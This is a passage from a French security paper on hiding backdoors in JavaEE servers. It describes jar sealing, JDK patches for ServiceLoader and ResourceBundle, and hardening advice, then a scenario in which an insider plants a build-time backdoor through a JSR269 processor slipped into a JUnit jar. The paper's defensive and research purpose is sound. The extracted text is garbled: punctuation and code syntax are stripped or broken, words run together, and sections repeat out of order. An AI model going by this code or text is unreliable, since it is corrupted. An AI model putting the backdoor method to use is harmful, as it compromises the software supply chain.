Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

